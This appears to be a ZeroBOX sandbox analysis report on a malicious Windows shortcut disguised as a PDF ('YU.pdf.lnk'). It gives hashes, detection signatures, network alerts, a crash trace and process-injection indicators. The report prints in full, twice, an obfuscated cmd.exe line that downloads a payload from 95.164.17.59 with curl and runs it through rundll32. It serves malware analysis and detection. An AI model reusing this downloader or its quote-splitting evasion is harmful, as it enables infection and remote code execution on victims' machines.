Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 27, 2023, 9:32 a.m.	Sept. 27, 2023, 9:34 a.m.

Size	2.1KB
Type	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Wed Oct 6 04:51:36 2021, mtime=Tue Sep 26 02:11:54 2023, atime=Wed Oct 6 04:51:36 2021, length=289792, window=hidenormalshowminimized
MD5	`f3f9452aa325321a4b90e7fed0bd97ae`
SHA256	`be78c3d115d13d2700b6bfc8e7f803d2efb2f93b81f6059299a4536d4f9d19f7`
CRC32	`67EEBE6F`
ssdeep	`24:8abWJCnBc2LA8v6V+/UkHpt4aUHkbxI4cRi85Rm:8ahi06bkHp5UHkbxf`
Yara	Lnk_Format_Zero - LNK Format lnk_file_format - Microsoft Windows Shortcut File Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "vjZHYuYwki" C:\Users\test22\AppData\Local\Temp\YU.pdf.lnk
2644
- cmd.exe "C:\Windows\System32\cmd.exe" /c 4fuD || ECho 4fuD & pi"NG" 4fuD || cu"Rl" http:"//95".16"4".17.5"9"/"ZI"b"r"7/9"G" -o C:\Users\test22\AppData\Local\Temp\4fuD.log & pi"NG" -n 3 4fuD || rundll32 C:\Users\test22\AppData\Local\Temp\4fuD.log scab /k besogon728 & E"x"iT 'hQWRJnkvgMlD
  2752
  - PING.EXE pi"NG" 4fuD
    2860
  - curl.exe cu"Rl" http:"//95".16"4".17.5"9"/"ZI"b"r"7/9"G" -o C:\Users\test22\AppData\Local\Temp\4fuD.log
    2908
  - PING.EXE pi"NG" -n 3 4fuD
    2980
  - rundll32.exe rundll32 C:\Users\test22\AppData\Local\Temp\4fuD.log scab /k besogon728
    3044

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
95.164.17.59	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49166 -> 95.164.17.59:80	2013028	ET POLICY curl User-Agent Outbound	Attempted Information Leak
TCP 192.168.56.101:49166 -> 95.164.17.59:80	2034567	ET HUNTING curl User-Agent to Dotted Quad	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Command line console output was observed (5 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 27, 2023, 9:32 a.m.	buffer: '4fuD' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW Sept. 27, 2023, 9:32 a.m.	buffer: 4fuD console_handle: 0x00000007	1	1
WriteConsoleW Sept. 27, 2023, 9:32 a.m.	buffer: 'E"x"iT' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleA Sept. 27, 2023, 9:32 a.m.	buffer: Ping request could not find host 4fuD. Please check the name and try again. console_handle: 0x00000007	1	1
WriteConsoleA Sept. 27, 2023, 9:32 a.m.	buffer: Ping request could not find host 4fuD. Please check the name and try again. console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 27, 2023, 9:32 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 27, 2023, 9:32 a.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x75aad08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x75aa964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x75a94d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x75a96f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x75a9e825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x75a96002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x75a95fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x75a949e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x75a95a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x76f49a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x76f68f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x76f68e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x755c7a25 rundll32+0x135c @ 0xb1135c rundll32+0x1901 @ 0xb11901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x75ac3ef4 registers.esp: 3012180 registers.edi: 0 registers.eax: 3771056 registers.ebp: 3012208 registers.edx: 1 registers.ebx: 0 registers.esi: 7524024 registers.ecx: 1924347356	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Sept. 27, 2023, 9:32 a.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x75aad08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x75aa964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x75a94d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x75a96f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x75a9e825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x75a96002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x75a95fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x75a949e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x75a95a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x76f49a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x76f68f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x76f68e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x755c7a25
rundll32+0x135c @ 0xb1135c
rundll32+0x1901 @ 0xb11901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x75ac3ef4
registers.esp: 3012180
registers.edi: 0
registers.eax: 3771056
registers.ebp: 3012208
registers.edx: 1
registers.ebx: 0
registers.esi: 7524024
registers.ecx: 1924347356

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://95.164.17.59/ZIbr7/9G

Performs some HTTP requests (1 event)

request

GET http://95.164.17.59/ZIbr7/9G

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\YU.pdf.lnk

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\cmd.exe" /c 4fuD || ECho 4fuD & pi"NG" 4fuD || cu"Rl" http:"//95".16"4".17.5"9"/"ZI"b"r"7/9"G" -o C:\Users\test22\AppData\Local\Temp\4fuD.log & pi"NG" -n 3 4fuD || rundll32 C:\Users\test22\AppData\Local\Temp\4fuD.log scab /k besogon728 & E"x"iT 'hQWRJnkvgMlD

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

95.164.17.59

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2644 resumed a thread in remote process 2752
NtResumeThread Sept. 27, 2023, 9:32 a.m.	thread_handle: 0x00000334 suspend_count: 1 process_identifier: 2752	1	0	0

YU.pdf.lnk

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Suricata Alerts

Suricata TLS

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